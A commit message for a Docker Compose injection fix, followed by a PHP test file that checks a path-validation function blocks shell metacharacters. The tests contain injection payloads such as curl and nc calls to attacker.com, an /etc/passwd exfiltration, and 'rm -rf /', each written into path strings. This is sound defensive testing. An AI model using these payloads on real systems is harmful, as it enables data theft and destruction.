This commit addresses a critical security issue where malicious Docker Compose
data was being saved to the database before validation occurred.
Problem:
- Service models were saved to database first
- Validation ran afterwards during parse()
- Malicious data persisted even when validation failed
- User saw error but damage was already done
Solution:
1. Created validateDockerComposeForInjection() to validate YAML before save
2. Added pre-save validation to all Service creation/update points:
- Livewire: DockerCompose.php, StackForm.php
- API: ServicesController.php (create, update, one-click)
3. Validates service names and volume paths (string + array formats)
4. Blocks shell metacharacters: backticks, $(), |, ;, &, >, <, newlines
Security fixes:
- Volume source paths (string format) - validated before save
- Volume source paths (array format) - validated before save
- Service names - validated before save
- Environment variable patterns - safe ${VAR} allowed, ${VAR:-$(cmd)} blocked
Testing:
- 60 security tests pass (176 assertions)
- PreSaveValidationTest.php: 15 tests for pre-save validation
- ValidateShellSafePathTest.php: 15 tests for core validation
- VolumeSecurityTest.php: 15 tests for volume parsing
- ServiceNameSecurityTest.php: 15 tests for service names
Related commits:
- Previous: Added validation during parse() phase
- This commit: Moves validation before database save
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-Authored-By: Claude <noreply@anthropic.com>
143 lines
4.2 KiB
PHP
143 lines
4.2 KiB
PHP
<?php
|
|
|
|
test('allows safe paths without special characters', function () {
|
|
$safePaths = [
|
|
'/var/lib/data',
|
|
'./relative/path',
|
|
'named-volume',
|
|
'my_volume_123',
|
|
'/home/user/app/data',
|
|
'C:/Windows/Path',
|
|
'/path-with-dashes',
|
|
'/path_with_underscores',
|
|
'volume.with.dots',
|
|
];
|
|
|
|
foreach ($safePaths as $path) {
|
|
expect(fn () => validateShellSafePath($path, 'test'))->not->toThrow(Exception::class);
|
|
}
|
|
});
|
|
|
|
test('blocks backtick command substitution', function () {
|
|
$path = '/tmp/pwn`curl attacker.com`';
|
|
|
|
expect(fn () => validateShellSafePath($path, 'test'))
|
|
->toThrow(Exception::class, 'backtick');
|
|
});
|
|
|
|
test('blocks dollar-paren command substitution', function () {
|
|
$path = '/tmp/pwn$(cat /etc/passwd)';
|
|
|
|
expect(fn () => validateShellSafePath($path, 'test'))
|
|
->toThrow(Exception::class, 'command substitution');
|
|
});
|
|
|
|
test('blocks pipe operators', function () {
|
|
$path = '/tmp/file | nc attacker.com 1234';
|
|
|
|
expect(fn () => validateShellSafePath($path, 'test'))
|
|
->toThrow(Exception::class, 'pipe');
|
|
});
|
|
|
|
test('blocks semicolon command separator', function () {
|
|
$path = '/tmp/file; curl attacker.com';
|
|
|
|
expect(fn () => validateShellSafePath($path, 'test'))
|
|
->toThrow(Exception::class, 'separator');
|
|
});
|
|
|
|
test('blocks ampersand operators', function () {
|
|
$paths = [
|
|
'/tmp/file & curl attacker.com',
|
|
'/tmp/file && curl attacker.com',
|
|
];
|
|
|
|
foreach ($paths as $path) {
|
|
expect(fn () => validateShellSafePath($path, 'test'))
|
|
->toThrow(Exception::class, 'operator');
|
|
}
|
|
});
|
|
|
|
test('blocks redirection operators', function () {
|
|
$paths = [
|
|
'/tmp/file > /dev/null',
|
|
'/tmp/file < input.txt',
|
|
'/tmp/file >> output.log',
|
|
];
|
|
|
|
foreach ($paths as $path) {
|
|
expect(fn () => validateShellSafePath($path, 'test'))
|
|
->toThrow(Exception::class);
|
|
}
|
|
});
|
|
|
|
test('blocks newline command separator', function () {
|
|
$path = "/tmp/file\ncurl attacker.com";
|
|
|
|
expect(fn () => validateShellSafePath($path, 'test'))
|
|
->toThrow(Exception::class, 'newline');
|
|
});
|
|
|
|
test('blocks complex command injection with the example from issue', function () {
|
|
$path = '/tmp/pwn`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`';
|
|
|
|
expect(fn () => validateShellSafePath($path, 'volume source'))
|
|
->toThrow(Exception::class);
|
|
});
|
|
|
|
test('blocks nested command substitution', function () {
|
|
$path = '/tmp/$(echo $(whoami))';
|
|
|
|
expect(fn () => validateShellSafePath($path, 'test'))
|
|
->toThrow(Exception::class, 'command substitution');
|
|
});
|
|
|
|
test('blocks variable substitution patterns', function () {
|
|
$paths = [
|
|
'/tmp/${PWD}',
|
|
'/tmp/${PATH}',
|
|
'data/${USER}',
|
|
];
|
|
|
|
foreach ($paths as $path) {
|
|
expect(fn () => validateShellSafePath($path, 'test'))
|
|
->toThrow(Exception::class);
|
|
}
|
|
});
|
|
|
|
test('provides context-specific error messages', function () {
|
|
$path = '/tmp/evil`command`';
|
|
|
|
try {
|
|
validateShellSafePath($path, 'volume source');
|
|
expect(false)->toBeTrue('Should have thrown exception');
|
|
} catch (Exception $e) {
|
|
expect($e->getMessage())->toContain('volume source');
|
|
}
|
|
|
|
try {
|
|
validateShellSafePath($path, 'service name');
|
|
expect(false)->toBeTrue('Should have thrown exception');
|
|
} catch (Exception $e) {
|
|
expect($e->getMessage())->toContain('service name');
|
|
}
|
|
});
|
|
|
|
test('handles empty strings safely', function () {
|
|
expect(fn () => validateShellSafePath('', 'test'))->not->toThrow(Exception::class);
|
|
});
|
|
|
|
test('allows paths with spaces', function () {
|
|
// Spaces themselves are not dangerous in properly quoted shell commands
|
|
// The escaping should be handled elsewhere (e.g., escapeshellarg)
|
|
$path = '/path/with spaces/file';
|
|
|
|
expect(fn () => validateShellSafePath($path, 'test'))->not->toThrow(Exception::class);
|
|
});
|
|
|
|
test('blocks multiple attack vectors in one path', function () {
|
|
$path = '/tmp/evil`curl attacker.com`; rm -rf /; echo "pwned" > /tmp/hacked';
|
|
|
|
expect(fn () => validateShellSafePath($path, 'test'))
|
|
->toThrow(Exception::class);
|
|
});
|